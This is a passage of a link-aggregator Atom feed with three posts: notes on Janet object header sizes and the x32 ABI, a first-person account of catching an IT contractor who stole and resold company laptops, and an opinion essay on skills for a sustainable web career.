&lt;p&gt;If Janet works with smaller object headers, why not shrink them in the implementation for 64-bit use? By my understanding, Janet &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/janet-lang/janet/blob/c495f11f15a29033b5f52d66f82f13a105f98123/src/include/janet.h#L974&quot;&gt;heap objects&lt;/a&gt; use 16 bytes to help the garbage collector:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;4 bytes for flags&lt;/li&gt;
&lt;li&gt;4 bytes of padding&lt;/li&gt;
&lt;li&gt;8 bytes linking to the next object&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Reducing these would require a different garbage collection strategy e.g. our own allocator, which would hurt a core Janet use case: embedding in other projects.&lt;/p&gt;
&lt;p&gt;Each type then adds:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/janet-lang/janet/blob/c495f11f15a29033b5f52d66f82f13a105f98123/src/include/janet.h#L1081&quot;&gt;string&lt;/a&gt;: 8 bytes for length and hash&lt;/li&gt;
&lt;li&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/janet-lang/janet/blob/c495f11f15a29033b5f52d66f82f13a105f98123/src/include/janet.h#L1061&quot;&gt;tuple&lt;/a&gt;: 8 bytes for length and hash, 8 bytes for source line and column info&lt;/li&gt;
&lt;li&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/janet-lang/janet/blob/c495f11f15a29033b5f52d66f82f13a105f98123/src/include/janet.h#L1029&quot;&gt;array&lt;/a&gt;: 8 bytes for count and capacity, 8 bytes for a pointer to the data&lt;/li&gt;
&lt;li&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/janet-lang/janet/blob/c495f11f15a29033b5f52d66f82f13a105f98123/src/include/janet.h#L1071&quot;&gt;struct&lt;/a&gt;: 12 bytes for length, hash and capacity, 4 bytes padding and 8 bytes for its prototype’s pointer&lt;/li&gt;
&lt;li&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://github.com/janet-lang/janet/blob/c495f11f15a29033b5f52d66f82f13a105f98123/src/include/janet.h#L1045&quot;&gt;table&lt;/a&gt;: 12 bytes for count, capacity and how many deleted, 4 bytes padding, 8 bytes for a pointer and 8 for the prototype’s pointer&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;For structs and tables in particular, we could regain 8 bytes through rearranging (not needing the later padding). Onlt tuples parsed from code need the source information (for errors); a flag could save normal tuples 8 bytes.&lt;/p&gt;
&lt;p&gt;Unfortunately, glibc’s &lt;code&gt;malloc&lt;/code&gt; adds 8 bytes and rounds to multiples of 16 so structs would remain the same. But tables and (some) tuples would shrunk more than the above indicates!&lt;/p&gt;
&lt;h3&gt;Down the Rabbit Hole&lt;/h3&gt;
&lt;p&gt;Kernels must be compiled with &lt;code&gt;CONFIG_X86_X32_ABI&lt;/code&gt; providing syscall entry points on Linux (with no Windows and Mac equivalent) which the compilers expose via &lt;code&gt;-mx32&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Good reading:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://lwn.net/Articles/1074897/#Comments&quot;&gt;https://lwn.net/Articles/1074897/#Comments&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://blogsystem5.substack.com/p/x86-64-programming-models&quot;&gt;https://blogsystem5.substack.com/p/x86-64-programming-models&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Questions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;can Zig via &lt;code&gt;zig cc -target x86_64-linux-muslx32&lt;/code&gt; crosscompile for easy distribution?&lt;/li&gt;
&lt;li&gt;how much performance benefit remains when using a faster allocator like mimalloc? The points will still be faster, at any rate.&lt;/li&gt;
&lt;/ul&gt;
</content>
  </entry>
  <entry>
    <id>urn:aggr:item:d70d965403a779ffb059006fa6b0934b2ce1a2dd</id>
    <title type="text">That Time I Worked With a Laptop Thief (2025)</title>
    <link rel="alternate" type="text/html" href="https://aggr.aymericbeaumet.com/items/lobste-rs/2026-10-06-that-time-i-worked-with-a-laptop-thief-2025/"/>
    <link rel="via" type="text/html" href="https://blog.pipetogrep.org/2025/07/27/that-time-i-worked-with-a-laptop-thief/"/>
    <published>2026-10-06T20:16:33+00:00</published>
    <updated>2026-10-06T20:16:33+00:00</updated>
    <author>
      <name>blog.pipetogrep.org via jeanthomas</name>
    </author>
    <category term="news"/>
    <category term="security"/>
    <source>
      <title>Lobsters: Top Stories of the Past Week</title>
    </source>
    <summary type="text">Comments</summary>
    <content type="html">&lt;p&gt;Published on: 2025-07-27 19:21:39 by &lt;strong&gt;Chris Jones&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Updated on: 2026-10-05 21:10:44 • 10 min read&lt;/p&gt;
&lt;h2&gt;Preamble&lt;/h2&gt;
&lt;p&gt;I used to worked at a place where they had an IT contractor that was stealing laptops and reselling them for over a year. This post is the story of how he got caught. Real names of people and companies will not be used, but the tale and screenshots (with redactions) are all true.&lt;/p&gt;
&lt;h2&gt;When I Went Back to IT&lt;/h2&gt;
&lt;p&gt;I was burning out on my position as a DevOps Engineer. Instead of looking for yet another job doing the same thing, I asked my boss if I could fill a different role temporarily so I could reset while still being useful to the company. He agreed and asked what I had in mind.&lt;/p&gt;
&lt;p&gt;The company&#39;s IT manager was leaving and the whole department&#39;s staff, tools, and processes really needed some attention. I volunteered to be the interim IT manager that handled banging the department back into shape. He liked the idea so I got started.&lt;/p&gt;
&lt;h2&gt;The Contractor&lt;/h2&gt;
&lt;p&gt;The only one left in the IT department was a single IT contractor that we will call Jim. Jim had been with the company for a little over a year. As I got to know Jim, I discovered that everything under his watch was falling apart. The IT closet was a gigantic mess. He was rarely available during working hours, he worked on who knows what at the office during the evening, and wasn&#39;t helpful when he was assisting with IT related issues.&lt;/p&gt;
&lt;p&gt;I gave him the benefit of the doubt and figured that his department was understaffed and overworked for too long so the first order of business was to assemble a new team.&lt;/p&gt;
&lt;h2&gt;The New Team Assembles&lt;/h2&gt;
&lt;p&gt;After a month of helping with IT tickets basically on my own (Jim was often MIA), and after cleaning out the IT closet, I hired a new IT manager and support specialist. During their first week, I gave them a tour of the office including the newly reorganized IT closet. That was when I first noticed something was amiss.&lt;/p&gt;
&lt;p&gt;We had just placed an order for 15 new MacBooks. While some of them had already gone out, the number that remained in the closet still looked smaller than it should have. I consulted the inventory and saw that six machines were unaccounted for.&lt;/p&gt;
&lt;h2&gt;The Lies Begin&lt;/h2&gt;
&lt;p&gt;To keep everything transparent and out in the open, I started a thread in the IT discussion Slack channel asking about the missing laptops and requested everyone on the team to speak up in the thread if they knew anything about it. My boss knew nothing. He could not since he works remotely. The new hires didn&#39;t know anything either since this was the first day they were seeing the IT closet.&lt;/p&gt;
&lt;p&gt;Then Jim messages me, not in the thread but via DM.&lt;/p&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://blog.pipetogrep.org/images/laptop_thief1.png&quot;&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://blog.pipetogrep.org/images/laptop_thief1.png&quot; alt=&quot;Lies&quot; loading=&quot;eager&quot; decoding=&quot;async&quot; fetchpriority=&quot;high&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;He&#39;s telling me five of the laptops had dead batteries on arrival while the sixth went out to an employee. That was the first thing that didn&#39;t add up. Five out of fifteen brand new, sealed in box Apple laptops were dead on arrival? I know Apple&#39;s hardware isn&#39;t the most resilient, but that failure rate is unheard for them.&lt;/p&gt;
&lt;p&gt;In the message he sent me five Apple repair case IDs. Upon looking them up, I see that they were suspiciously created right after I sent out the message about the missing devices. Even more suspicious, I find out that he created the repair requests under his personal Apple account rather than the company account, preventing me from gathering more information about the requests.&lt;/p&gt;
&lt;h2&gt;The Lies Continue&lt;/h2&gt;
&lt;p&gt;The next day, two FedEx boxes arrive containing two brand new MacBooks. The FedEx label said it was from Apple&#39;s 5th Ave store in Manhattan (which was walking distance from the office). There were two things odd about these machines:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Neither of them were enrolled in our company&#39;s Apple Business Manager account. That means we could not autoenroll them into our MDM.&lt;/li&gt;
&lt;li&gt;The FedEx label looked like it was printed on an InkJet printer from the FedEx website. This is not how Apple does things.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Later Jim claims that two of the laptops have been replaced. I thank him and ask that he not take laptops home while we get all this figured out. He gaslights me by saying he verbally told me about the dead machines and that I must have forgotten. He then states that he does not take laptops home &amp;quot;at all&amp;quot;.&lt;/p&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://blog.pipetogrep.org/images/laptop_thief2.png&quot;&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://blog.pipetogrep.org/images/laptop_thief2.png&quot; alt=&quot;More lies&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Apple Get Involved. The Lies Get Discovered.&lt;/h2&gt;
&lt;p&gt;At this point, I&#39;m still under the impression that something is fishy, but Jim still gets the benefit of the doubt. My responsibility at this point was not to accuse or speculate, but collect date and see where it led. I decided to consult Apple.&lt;/p&gt;
&lt;p&gt;I took the two new laptops that arrived to the 5th Ave Apple store. I explained the situation I was in and asked if they could tell me anything about the origin of them. They were not purchased by the company. Instead, the name associated with both machines was Jim himself.&lt;/p&gt;
&lt;p&gt;Meanwhile, all 5 of the Apple repair requests that he created got as far as Apple sending empty boxes to retrieve the 5 &amp;quot;broken&amp;quot; machines. Were those boxes sent to the company? Nope! They were sent to Jim&#39;s place of residence.&lt;/p&gt;
&lt;p&gt;Finally, I asked about the FedEx shipping labels from the &amp;quot;replacement&amp;quot; machines. I asked how and from where they are normally sent. They confirmed that they do NOT ship repairs from an Apple store and instead send them from Apple Repair Centers, which in this case, was in a neighboring state.&lt;/p&gt;
&lt;p&gt;Jim has now been caught in multiple lies:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&amp;quot;I believe 2 of the defective laptops have been replaced and should be at the office right now.&amp;quot; - Two laptops did arrive to the office, but they did not belong to the company. They belonged to him.&lt;/li&gt;
&lt;li&gt;&amp;quot;Once again, I do no take laptops home at all.&amp;quot; - Then why did he have the Apple repair boxes sent to his home address?&lt;/li&gt;
&lt;li&gt;The FedEx labels were clearly a cover. The from address was spoofed to look like Apple. The FedEx tracking for them never got past the label being created which means Jim hand delivered them to the office (no cost that way).&lt;/li&gt;
&lt;li&gt;The Apple repair cases never updated to indicate that the machines were received, so how could we have two replacements from them?&lt;/li&gt;
&lt;li&gt;The &amp;quot;replacement&amp;quot; laptops had different serial numbers. Devices Apple repairs retain their serial numbers.&lt;/li&gt;
&lt;li&gt;&amp;quot;One laptop is being prepped for a new hire starting Monday.&amp;quot; The new hire did not have the missing laptop.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Jim Plays the Victim&lt;/h2&gt;
&lt;p&gt;While we were civil and as non-accusatory as possible, and were doing our best to only seek answers about the missing property that Jim was responsible for keeping track of, Jim decides it&#39;s best to go full victim.&lt;/p&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://blog.pipetogrep.org/images/laptop_thief3.png&quot;&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://blog.pipetogrep.org/images/laptop_thief3.png&quot; alt=&quot;Time to play the victim&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Jim Gets Let Go&lt;/h2&gt;
&lt;p&gt;At this point, we were not sure about the entirety of what was going on, but we knew that we had machines missing, and nothing that Jim was saying was adding up and that we were being lied to. Jim was given 24 hours to reproduce all of the missing machines which he failed to do. At that point we had no choice but to let him go before he had the chance to quit himself.&lt;/p&gt;
&lt;h2&gt;We Get Theft Confirmation&lt;/h2&gt;
&lt;p&gt;My first act as interim IT manager was to fix the auto-enrollment of company machines. By this, I mean making it so the devices the company purchased know to register themselves via mobile device management (MDM) and install the company&#39;s software, settings, etc. all automatically straight out of the box. Jim was manually enrolling them and could never give a straight answer besides &amp;quot;it&#39;s hard&amp;quot; as to why he continued to do it that way.&lt;/p&gt;
&lt;p&gt;A few days after Jim was let go, we start getting Slack notifications about new device enrollments. They were being enrolled from places like Russia, China, and Kazakhstan and registered to people that did not work for the company. We proceeded to lock the devices. Most of them were the devices that went missing. It makes sense now why Jim never bothered fixing device auto-enrollment.&lt;/p&gt;
&lt;p&gt;These enrollments continued for another year, some new, and some the same machines being resold again by people that knew how to unlock and wipe the machines back to factory only to have them locked again on first boot. We followed some of these machines across multiple countries and geographic zones.&lt;/p&gt;
&lt;p&gt;The real victim is not the company itself, but the people that unknowingly bought these stolen devices. They open up their sealed, in-box MacBook only to have it immediately turn itself into a paperweight when it gets locked by the company it belongs to.&lt;/p&gt;
&lt;h2&gt;Another Mystery Laptop Appears. Things Get Stranger.&lt;/h2&gt;
&lt;p&gt;The few days after Jim&#39;s departure, another new MacBook arrives in the mail. I take it to the Apple Store again, and they tell me it was not purchased there like the other two were. Instead, it was purchased by a company called &amp;quot;Ingram Micro&amp;quot; who is a large reseller of IT equipment.&lt;/p&gt;
&lt;p&gt;I call Ingram and they give me the name of the purchaser and the company they worked for when the purchase was made. I will not name the company, but I will say that they are a department of defense (DoD) contractor.&lt;/p&gt;
&lt;p&gt;It took a few days but after many phone calls and messages, I got through to the DoD contractor&#39;s IT and legal teams and was able to explain what was going on. It was discovered that Jim was working for them (at the same time!) and stole one of their laptops as a replacement for one that he stole from us!&lt;/p&gt;
&lt;p&gt;By doing that, he got himself let go from that job as well. I later found out from my boss that an FBI agent sat him down and he confessed to everything. DoD jobs do not seem to take kindly to property theft.&lt;/p&gt;
&lt;h2&gt;Jim Gets Petty&lt;/h2&gt;
&lt;p&gt;Weeks went by and Jim still hadn&#39;t returned the company laptop that was assigned to him. After multiple reminders, a very beat up box arrived in the mail via UPS. It contains two laptops from Jim with zero protective padding. The machines were trashed inside and out.&lt;/p&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://blog.pipetogrep.org/images/laptop_thief4.jpg&quot;&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://blog.pipetogrep.org/images/laptop_thief4.jpg&quot; alt=&quot;UPS box in rough shape&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://blog.pipetogrep.org/images/laptop_thief5.jpg&quot;&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://blog.pipetogrep.org/images/laptop_thief5.jpg&quot; alt=&quot;Inside the box&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://blog.pipetogrep.org/images/laptop_thief6.jpg&quot;&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://blog.pipetogrep.org/images/laptop_thief6.jpg&quot; alt=&quot;Top of the returned laptops&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://blog.pipetogrep.org/images/laptop_thief7.jpg&quot;&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://blog.pipetogrep.org/images/laptop_thief7.jpg&quot; alt=&quot;Gross laptop interior with surprise staple&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://blog.pipetogrep.org/images/laptop_thief8.jpg&quot;&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://blog.pipetogrep.org/images/laptop_thief8.jpg&quot; alt=&quot;Scrapped up laptop bottom&quot; loading=&quot;lazy&quot; decoding=&quot;async&quot; fetchpriority=&quot;low&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;What Happened to Jim?&lt;/h2&gt;
&lt;p&gt;I don&#39;t really know. The company that I worked for dropped the ball on pressing charges. All told, he stole more than 30 laptops over the year he worked there. The monetary value of the theft was well into the range of grand larceny, but I guess they didn&#39;t care enough to pursue it. I&#39;m not sure if he got so lucky with the DoD contractor.&lt;/p&gt;
&lt;h2&gt;What Did I Learn?&lt;/h2&gt;
&lt;p&gt;A lot!&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Maintain a real inventory system instead of just a spreadsheet. If that was done from the beginning, this whole thing might not have happened.&lt;/li&gt;
&lt;li&gt;I also learned about Apple Business manager, how Apple MDM software works at a low level, and how IT departments manage large fleets of devices.&lt;/li&gt;
&lt;li&gt;I learned that if something feels off, it is worth investigating.&lt;/li&gt;
&lt;li&gt;Don&#39;t hire individual contractor. Go through a reputable recruiter and run background checks. This did not happen with Jim.&lt;/li&gt;
&lt;li&gt;Most importantly, I learned that an engineer&#39;s natural curiosity is applicable to more that just engineering. The more I dug into what Jim said, the more lies I found.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;What Did Jim Learn?&lt;/h2&gt;
&lt;p&gt;Something I hope. If he simply maintained that he didn&#39;t know anything, he might have gotten further with his ruse. Instead, he kept talking and kept digging himself deeper. At the most, I can hope that he learned not to pull this crap anymore in the future. At the very least, he learned not to lie to me.&lt;/p&gt;
&lt;p&gt;Want to discuss? Email me at &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;mailto:blog@pipetogrep.org&quot;&gt;blog@pipetogrep.org&lt;/a&gt;.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <id>urn:aggr:item:923dfab174f04fd90ea1c74a937ced09e7fb152c</id>
    <title type="text">A sustainable web career, for when all this blows over</title>
    <link rel="alternate" type="text/html" href="https://aggr.aymericbeaumet.com/items/lobste-rs/2026-10-06-a-sustainable-web-career-for-when-all-this-blows-over/"/>
    <link rel="via" type="text/html" href="https://dbushell.com/2026/10/07/sustainable-web-career/"/>
    <published>2026-10-06T18:29:11+00:00</published>
    <updated>2026-10-06T18:29:11+00:00</updated>
    <author>
      <name>dbushell.com via nrvous</name>
    </author>
    <category term="news"/>
    <category term="vibecoding"/>
    <category term="web"/>
    <source>
      <title>Lobsters: Top Stories of the Past Week</title>
    </source>
    <summary type="text">Comments</summary>
    <content type="html">&lt;p&gt;For better or worse the web industry is going through a bit of a phase. The reasons are largely irrational. People still need the web, nothing has changed there. Regardless, the financials of this business are a struggle. Longterm career prospects are looking dicey.&lt;/p&gt;
&lt;p&gt;Because I &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://dbushell.com/ai/&quot;&gt;openly reject&lt;/a&gt; the driving force intent on destroying my profession, and ruffle a few feathers doing so, I often get asked privately for advice from like-minded peers. I can only offer an uninspired but sensible reply: don’t quit a paying job without a fallback. &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://en.wikipedia.org/wiki/Shaun_of_the_Dead&quot;&gt;Go to the Winchester,&lt;/a&gt; have a nice cold pint, and wait for all of this to blow over.&lt;/p&gt;
&lt;p&gt;&lt;picture class=&quot;article-picture article-picture-fallback&quot; style=&quot;--image-ratio:16 / 9&quot;&gt;&lt;img src=&quot;https://dbushell.com/images/blog/2026/shaun-of-the-dead.avif&quot; alt=&quot;Characters from Shaun of the Dead (2004) enjoying drinks in the Winchester pub. Simon Pegg&amp;#39;s character is holding a pint in a cheers pose and is winking at the camera.&quot; loading=&quot;eager&quot; decoding=&quot;async&quot; fetchpriority=&quot;high&quot; referrerpolicy=&quot;no-referrer&quot; class=&quot;progressive-image&quot;&gt;&lt;/picture&gt;&lt;/p&gt;
&lt;p&gt;Characters from Shaun of the Dead (2004) enjoying drinks in the Winchester pub. Simon Pegg&#39;s character is holding a pint in a cheers pose and is winking at the camera.&lt;/p&gt;
&lt;p&gt;I’m confident the situation will improve. Before it does, what can we focus on to &lt;em&gt;accelerate&lt;/em&gt; past the intellectual slump, and better position ourselves once things calm down?&lt;/p&gt;
&lt;h2&gt;What’s in&lt;/h2&gt;
&lt;p&gt;For a sustainable web career, where better to look than critical skills in desperately short supply? My focus is on front-end development, but these areas of knowledge are relevant to anyone in the business of making websites.&lt;/p&gt;
&lt;h3&gt;Accessibility&lt;/h3&gt;
&lt;p&gt;Accessibility has always been a foundation of web development but it’s never been more critical for everyone to champion it. Understand why accessibility is for everyone. Learn how to talk about accessibility in respect to real needs and practical implementation.&lt;/p&gt;
&lt;p&gt;Accessibility has unfortunately become a virtue signal for certain tech groups. (I’m told &lt;em&gt;LinkedIn&lt;/em&gt; is rife with misinformation.) Accessibility is not a feature that can be tacked on to a website like garnish. Accessibility issues can’t be fixed with an automated process at the end. Web professionals must be able to counter this mindset by respecting accessibility in all decisions from day one.&lt;/p&gt;
&lt;p&gt;Learn and adopt &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://www.w3.org/WAI/standards-guidelines/wcag/&quot;&gt;the guidelines&lt;/a&gt; as your baseline. Speak to and test with real people. Defer to specialists who are eager for you to understand the realities.&lt;/p&gt;
&lt;h3&gt;CSS (in stylesheets)&lt;/h3&gt;
&lt;p&gt;CSS is the most vibrant and evolving of the front-end standards. To architecture a good stylesheet takes deep understanding of the language features. Newer features like &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://css-tricks.com/css-cascade-layers/&quot;&gt;cascade layers&lt;/a&gt; and &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/Reference/Selectors/:where&quot;&gt;selectors that reduce specificity&lt;/a&gt; make this much easier.&lt;/p&gt;
&lt;p&gt;CSS has always been equipped to handle well organised styles, but developers who refuse to learn and respect the language have sought to push complexity elsewhere, using simplified abstractions or “CSS-in-JS” solutions. These are inherently limiting, lead to poor performance, and don’t actually solve the problems they claim.&lt;/p&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://dbushell.com/2026/06/19/css-methodology/&quot;&gt;CSS should be hard&lt;/a&gt; and learning it will give you the ability to express creativity beyond cookie cutter web design. CSS skills will be highly desirable as more websites wish to stand out against the convergence of a generated aesthetic.&lt;/p&gt;
&lt;h3&gt;Communication skills&lt;/h3&gt;
&lt;p&gt;Communication is a “soft skill” in short supply (for obvious reasons). It’s a great skill if you wish to stand out as an expert, or simply be heard amongst the noise. Learn brevity and focus on important points. Don’t be afraid to ask questions.&lt;/p&gt;
&lt;p&gt;Address concerns tactfully and early before they escalate. Don’t point fingers, but “cover your ass” — everyone on a project should be working towards the same goal, but some may be misguided in their approach. Remain positive and don’t meet negativity head-on.&lt;/p&gt;
&lt;p&gt;If you can communicate well you’ll be highly respected in your role.&lt;/p&gt;
&lt;h3&gt;Rejecting fascism&lt;/h3&gt;
&lt;p&gt;You probably weren’t expecting this one, but here we are.&lt;/p&gt;
&lt;p&gt;The luxury of not “getting political” has abated. Far-right political ideology is on the rise and dormant hatred is waking up in tech. The epicentre of fash-tech is Musk’s “X” with people like &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://brennan.day/normalized-fascism-in-open-source-12-million-given-to-dhh/#dhh&quot;&gt;David Heinemeier Hansson spewing racism&lt;/a&gt; and &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jardo.dev/what-about-rails&quot;&gt;abusing authority in communities&lt;/a&gt; to push an agenda, and &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://xxcancel.com/rauchg/status/1972669025525158031?lang=en&quot;&gt;Guillermo Rauch taking a selfie with a war criminal&lt;/a&gt;. Large tech giants like &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://tante.cc/2026/09/11/power-grab/&quot;&gt;Digital Ocean are funding this power grab&lt;/a&gt;. Be wary of those denying this threat.&lt;/p&gt;
&lt;p&gt;If you want to avoid being pushed away from this industry, recognise and reject fascism before it comes for you. Don’t stay silent.&lt;/p&gt;
&lt;h2&gt;What’s out&lt;/h2&gt;
&lt;p&gt;I’ve covered topics that’ll see us well for the future, but what should we forget?&lt;/p&gt;
&lt;h3&gt;React&lt;/h3&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://jsx.lol/&quot;&gt;Facebook’s experiment&lt;/a&gt; turned cargo cult is a legacy framework that still lingers, but there’s no reason to learn it today. React has entrenched itself as a &lt;em&gt;lingua franca&lt;/em&gt; of code extruders. React code is generated faster than any human can possibly read it. Suffice it to say that despite stale job vacancies still demanding experience, React is not worth investing time. The days of high-paying React development are numbered.&lt;/p&gt;
&lt;h3&gt;GitHub&lt;/h3&gt;
&lt;p&gt;&lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://dbushell.com/2026/04/29/github-is-sinking/&quot;&gt;GitHub is now a liability.&lt;/a&gt; For private repositories use self-hosted git forges. I’d recommend &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://forgejo.org/&quot;&gt;Forgejo&lt;/a&gt;. One of the many &lt;a target=&quot;_blank&quot; rel=&quot;noopener noreferrer&quot; href=&quot;https://tailscale.com/compare&quot;&gt;Tailscale-like services&lt;/a&gt; is an easy way to gate remote access. Don’t make stuff public for the dead internet to attack! For CI/CD go local too, or use independent services not tied to tech giants. Take the time to learn basic &lt;code&gt;git&lt;/code&gt; commands. A little technical and infrastructure knowledge goes a long way.&lt;/p&gt;
&lt;h3&gt;Influencers&lt;/h3&gt;
&lt;p&gt;These people are handsome, charismatic, highly personable. I’m talking about: developer relations, youtubers, start-up founders, etc. When the tech industry met us halfway, influencers were entertaining and a good chinwag at after parties. Now the game has changed and we should not allow false narratives to dominate and dictate a closed-web future. Normal people still use the web. Incredibly few can afford to pay for the novelties that influencers peddle. Their attention economy is no longer our concern.&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;So that’s my focus for a sustainable web career, when all this blows over.&lt;/p&gt;
&lt;p&gt;Remember that above all else: the web is a human creation for human needs. Those needs are not going anywhere. Drop the dead weight accumulated in times of prosperity. Go back to basics and position yourself well for when professional demand returns.&lt;/p&gt;
</content>
  </entry>
</feed>
